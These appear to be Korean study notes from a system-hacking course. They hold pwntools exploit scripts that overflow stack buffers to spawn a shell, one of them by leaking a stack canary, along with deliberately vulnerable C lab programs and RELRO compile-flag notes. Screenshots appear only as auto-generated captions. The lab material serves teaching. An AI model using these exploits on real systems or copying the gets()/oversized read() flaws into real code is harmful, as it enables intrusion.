#실습 ‘jlevel’

from pwn import \*

s=process('/prob1')

**print**(util.proc.pidof(s))

pause()

stack=s.recvline()[:-1]

stack=**int**(stack,16)

context.arch="1386"

shellcode=asm(shellcraft.sh())

payload=shellcode

payload+="A"\*(104-**len**(payload))

payload+=p32(stack)

s.sendlineafter("so easy",payload)

s.interactive()

#실습 ‘aslr’

#include<stdio.h>

#include<stdlib.h>

int bss;

void shell(){

system("/bin/sh");

}

int main(){

int stack;

char \*heap=malloc(256);

unsigned long \*libc;

libc=0x804c01c;

printf("ASLR?\n");

printf("stack: %p\n",&stack);

printf("libc: %p\n",libc);

printf("code: %p\n",shell);

printf("heap: %p\n",heap);

printf("bss: %p\n",&bss);

}

텍스트이(가) 표시된 사진

자동 생성된 설명

#실습 ‘canary’

#include<stdio.h>

int main(){

char buf[100];

gets(buf);

}

텍스트이(가) 표시된 사진

자동 생성된 설명

#실습 ‘canary2’

#include <stdio.h>

#include <stdlib.h>

void shell(){

system("/bin/sh");

}

int main(){

char arr[100];

puts("I'll give you 2 chances");

puts("first chance");

read(0,arr,200);

printf("your input %s\n", arr);

puts("second chance");

read(0,arr,200);

return 0;

}

텍스트이(가) 표시된 사진

자동 생성된 설명

#!/usr/bin/env python

from pwn import \*

s=process("./canary2")

s.sendafter("chance","A"\*101)

s.recvuntil("A"\*101)

leak=u32('\x00'+s.recv(3))

**print**(**hex**(leak))

payload="A"\*100

payload+=p32(leak)

payload+="A"\*8

payload+="BBBB"

payload+=p32(0x08049216)

s.sendlineafter("chance", payload)

s.interactive()

텍스트이(가) 표시된 사진

자동 생성된 설명

**# 지각자 대상 추가과제 : 보호기법 relro 상세히 조사, 실습**

Relro (relocation read-only)

1.No relro

: elf 기본헤더, 코드영역을 제외한 부분에 read, write 권한을 주는 것

#include <stdio.h>

int main(){

printf(“relro”);

    return 0;

}

-컴파일 옵션

gcc -o code code.c -m32 -no-pie -Wl,-z,norelro

텍스트이(가) 표시된 사진

자동 생성된 설명

2.Partial relro

: no relro와 유사하지만 \_danamic 섹션에 write 권한이 업어진다.

-컴파일 옵션

gcc -o code code.c -m32 -no-pie -Wl,-z,relro

텍스트이(가) 표시된 사진

자동 생성된 설명

3.Full relro

: bss 영역을 제외한 모든 영역에서 write 권한이 사라짐.

-컴파일 옵션

gcc -o code code.c -m32 -no-pie -Wl,-z,relro,-z,now

텍스트이(가) 표시된 사진

자동 생성된 설명